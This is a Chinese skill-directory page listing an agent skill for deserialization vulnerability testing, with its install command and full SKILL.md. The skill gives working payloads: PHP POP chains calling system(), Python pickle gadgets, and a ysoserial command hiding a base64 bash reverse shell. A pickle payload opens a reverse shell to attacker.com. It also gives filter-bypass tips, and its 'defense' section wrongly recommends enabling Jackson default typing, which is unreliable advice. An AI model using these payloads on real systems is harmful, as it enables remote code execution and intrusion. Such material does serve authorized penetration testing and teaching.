Token导航 LogoToken导航TokenDH.com
开发需要联网github未标认证来源可访问许可证需确认审计异常

deserialization-testing反序列化测试

Agent Skill

用于辅助测试设计、自动化测试、用例整理和回归验证。它适合让 Agent 编写单元测试、端到端测试、测试计划或根据失败日志定位问题。使用时需要确认项目测试框架、运行命令和夹具数据,避免为了通过测试而改坏真实逻辑;涉及浏览器或外部服务时,应区分本地模拟、测试环境和生产环境。

总安装

630

周安装

26

GitHub Stars

3,518

下载量

206
CodexClaudeCursorGemini CLI

安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

GitHub

来源数

2

许可证

unknown

最后核验

2026-05-01

来源状态

来源可访问

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:deserialization-testing(反序列化测试)
来源仓库:https://github.com/ed1s0nz/cyberstrikeai
仓库路径:skills/deserialization-testing
安装命令:
npx skills add https://github.com/ed1s0nz/cyberstrikeai --skill deserialization-testing
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/ed1s0nz/cyberstrikeai --skill deserialization-testing

简介

deserialization-testing 检测应用程序中潜在的反序列化漏洞,识别 Cookie、Session 和 API 参数等危险入口点。

  • 它提供 Java Base64 特征码、PHP serialize() 结构和 Python pickle 魔数的快速识别方法,支持多语言覆盖。
  • 包含 Apache Commons Collections 和 Fastjson 等常见库的 PoC 构造示例,附带 payload 生成脚本链接指引。
  • 测试前请备份原始数据样本,避免误判导致业务中断;生产环境建议先在隔离沙箱验证 exploit 有效性。
  • 适用宿主包括 Codex、Claude、Cursor、Gemini CLI,接入前应确认版本、权限和运行环境要求。

SKILL.md

反序列化漏洞测试

概述

反序列化漏洞是一种利用应用程序反序列化不可信数据导致的漏洞,可能导致远程代码执行、拒绝服务等。本技能提供反序列化漏洞的检测、利用和防护方法。

漏洞原理

应用程序将序列化的数据反序列化为对象时,如果数据来源不可信,攻击者可以构造恶意序列化数据,在反序列化过程中执行任意代码。

常见格式

Java

常见库:

  • Java原生序列化
  • Jackson
  • Fastjson
  • XStream
  • Apache Commons Collections

PHP

常见函数:

  • unserialize()
  • json_decode()

Python

常见模块:

  • pickle
  • yaml
  • json

.NET

常见类:

  • BinaryFormatter
  • SoapFormatter
  • DataContractSerializer

测试方法

1. 识别序列化数据

Java序列化特征:

AC ED 00 05 (十六进制)
rO0 (Base64)

PHP序列化特征:

O:8:"stdClass"
a:2:{s:4:"test";s:4:"data";}

Python pickle特征:

\x80\x03

2. 检测反序列化点

常见位置:

  • Cookie值
  • Session数据
  • API参数
  • 文件上传
  • 缓存数据
  • 消息队列

3. Java反序列化

Apache Commons Collections利用:

// 使用ysoserial生成Payload
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin

常见Gadget链:

  • CommonsCollections1-7
  • Spring1-2
  • ROME
  • Jdk7u21

4. PHP反序列化

基础测试:

<?php
class Test {
    public $cmd = "id";
    function __destruct() {
        system($this->cmd);
    }
}
echo serialize(new Test());
// O:4:"Test":1:{s:3:"cmd";s:2:"id";}
?>

魔术方法利用:

  • __destruct()
  • __wakeup()
  • __toString()
  • __call()

5. Python pickle

基础测试:

import pickle
import os

class RCE:
    def __reduce__(self):
        return (os.system, ('id',))

pickle.dumps(RCE())

利用技术

Java RCE

使用ysoserial:

# 生成Payload
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin

# Base64编码
base64 -w 0 payload.bin

手动构造:

// 使用Gadget链构造恶意对象
// 参考ysoserial源码

PHP RCE

利用POP链:

<?php
class A {
    public $b;
    function __destruct() {
        $this->b->test();
    }
}

class B {
    public $c;
    function test() {
        call_user_func($this->c, "id");
    }
}

$a = new A();
$a->b = new B();
$a->b->c = "system";
echo serialize($a);
?>

Python RCE

Pickle RCE:

import pickle
import base64
import os

class RCE:
    def __reduce__(self):
        return (os.system, ('bash -i >& /dev/tcp/attacker.com/4444 0>&1',))

payload = pickle.dumps(RCE())
print(base64.b64encode(payload))

绕过技术

编码绕过

Base64编码:

原始: rO0ABXNy...
编码: ck8wQUJYTnk...

URL编码:

%72%4F%00%AB...

过滤器绕过

使用不同Gadget链:

  • 如果CommonsCollections被过滤,尝试Spring
  • 如果某个版本被过滤,尝试其他版本

类名混淆

使用反射:

Class.forName("java.lang.Runtime").getMethod("exec", String.class)

工具使用

ysoserial

# 列出可用Gadget
java -jar ysoserial.jar

# 生成Payload
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin

# 生成Base64
java -jar ysoserial.jar CommonsCollections1 "command" | base64

PHPGGC

# 列出可用Gadget
./phpggc -l

# 生成Payload
./phpggc Monolog/RCE1 system id

# 生成编码Payload
./phpggc -b Monolog/RCE1 system id

Burp Suite

  1. 拦截包含序列化数据的请求
  2. 使用插件生成Payload
  3. 替换原始数据
  4. 观察响应

验证和报告

验证步骤

  1. 确认可以控制序列化数据
  2. 验证反序列化触发代码执行
  3. 评估影响(RCE、数据泄露等)
  4. 记录完整的POC

报告要点

  • 漏洞位置和序列化数据格式
  • 使用的Gadget链或利用方式
  • 完整的利用步骤和PoC
  • 修复建议(输入验证、使用安全序列化等)

防护措施

推荐方案

  1. 避免反序列化不可信数据

- 使用JSON替代 - 使用安全的序列化格式

  1. 输入验证 // 白名单验证类名 private static final Set<String> ALLOWED_CLASSES = Set.of("com.example.SafeClass"); private Object readObject(ObjectInputStream ois) {// 验证类名 //...}
  2. 使用安全配置 // Jackson配置 objectMapper.enableDefaultTyping(); objectMapper.setVisibility(PropertyAccessor.FIELD, JsonAutoDetect.Visibility.ANY);
  3. 类加载器隔离

- 使用自定义ClassLoader - 限制可加载的类

  1. 监控和日志

- 记录反序列化操作 - 监控异常行为

注意事项

  • 仅在授权测试环境中进行
  • 注意不同版本库的Gadget链差异
  • 测试时注意Payload大小限制
  • 了解目标应用的依赖库版本

适合场景

01

用户想查找某类 Agent Skill 时

02

需要根据任务场景推荐可安装能力包时

03

需要对比不同来源的安装命令和来源信息时

能力概览

能力 1

按任务关键词查找相关 Skills

能力 2

展示可复制的安装命令

能力 3

保留来源站点、仓库和原始说明,方便继续核验

能力 4

展示第三方安全扫描或审计结果

安装后应在对应宿主中按原始 README 的触发条件使用;具体调用方式请以来源页面和 README 为准。

平台分布

Codex

35.82%
按下载量换算74

Claude

28.1%
按下载量换算58

Cursor

17.37%
按下载量换算36

Gemini CLI

9.44%
按下载量换算19

安全审计

Gen Agent Trust Hub

未通过

Socket

通过

Snyk

未通过

权限和风险

需要联网

该 Skill 可能需要联网访问来源站点、仓库或外部 API;具体网络访问范围需要结合源码和 README 复核。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在 warning/failed 结果,不能写成本站确认安全。当前只有一个来源,正式发布前建议补源仓库或其他目录站核验。

来源信息

继续浏览同类 Skills